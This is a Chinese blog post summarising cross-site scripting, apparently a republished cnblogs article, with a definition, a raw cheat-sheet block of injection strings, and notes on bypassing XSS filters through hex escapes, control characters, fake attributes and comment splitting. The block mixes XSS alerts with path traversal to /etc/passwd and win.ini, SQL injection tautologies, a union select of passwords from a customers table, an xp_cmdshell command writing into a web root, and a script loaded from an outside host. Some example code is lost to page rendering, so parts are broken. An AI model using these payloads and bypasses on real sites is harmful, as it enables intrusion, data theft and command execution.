博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
XSS知识的总结
阅读量:4684 次
发布时间:2019-06-09

本文共 3922 字,大约阅读时间需要 13 分钟。

一、XSS简介

跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

二、XSS基本语句

='>%3Cscript%3Ealert('XSS')%3C/script%3E%0a%0a.jsp%22%3cscript%3ealert(%22xss%22)%3c/script%3e%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html%3f.jsp%3f.jsp?sql_debug=1a%5c.aspxa.jsp/a/a?">';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%3Ealert(document. domain);%3C/script%3E&%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=../../../../../../../../etc/passwd..\..\..\..\..\..\..\..\windows\system.ini\..\..\..\..\..\..\..\..\windows\system.ini'';!--"
=&{()}
"
";' > out

getURL("javascript:alert('XSS')")a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
">
<"
PT SRC="http://xss.ha.ckers.org/a.js">
linkadmin'--' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --hi' or 'a'='ahi') or ('a'='ahi") or ("a"="a

三、XSS绕过过滤

1、转义字符

斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。

例如:<script>alert('test');</script>的十六进制转移字符串为

 

/x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E

因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。

这个方法对于八进制同样奏效。

2、字符转义(先写上,暂时还没成功)

\u003c和\u003e来代替<和>

例如:

[0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e

 

3、用控制字符的ASCII码填充

比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。

4、插入混淆属性

当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:

            //插入混淆的src属 性">            //插入混 淆的双引号及 “>”符号            //插入混淆的a 属性

5、用注释符分割

由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

            //css的注释符号 为/**/,其中的内容会被忽略            //css中忽略的符号还有“\”exp/*            //注释混淆后的样子            //html的注释符为

、突破XSS字符数量限制执行任意JS代码

http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持

http://www.myhack58.com/Article/html/3/7/2009/23165.htm

先这么多吧,以后遇到了再更新。

参考:

【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

【2】http://www.hackbase.com/tech/2009-08-24/55258.html

【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html

【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD

【5】http://www.hackbase.com/tech/2012-10-19/66888.html

【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html

【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

 

转载于:https://www.cnblogs.com/dgy5554/archive/2012/10/28/3973422.html

你可能感兴趣的文章
ylb: SQL表的高级查询-子查询
查看>>
import 用法
查看>>
6月7 考试系统
查看>>
mysql 基本操作
查看>>
zTree async 动态参数处理
查看>>
Oracle学习之常见错误整理
查看>>
HTC Sensation G14开盒
查看>>
lock_sga引起的ksvcreate :process(m000) creation failed
查看>>
数据库插入数据乱码问题
查看>>
OVER(PARTITION BY)函数用法
查看>>
altium annotate 选项设置 complete existing packages
查看>>
【模式识别与机器学习】——SVM举例
查看>>
【转】IT名企面试:微软笔试题(1)
查看>>
IO流入门-第十章-DataInputStream_DataOutputStream
查看>>
DRF的分页
查看>>
html td 限制 高度 和 宽度
查看>>
mysql查询一个表的字段,添加或修改到另外一个表的数据
查看>>
CL.exe的 /D 选项, Preprocessor Macro预处理器宏定义
查看>>
[Pytorch]Pytorch中tensor常用语法
查看>>
ZOJ 1008 Gnome Tetravex
查看>>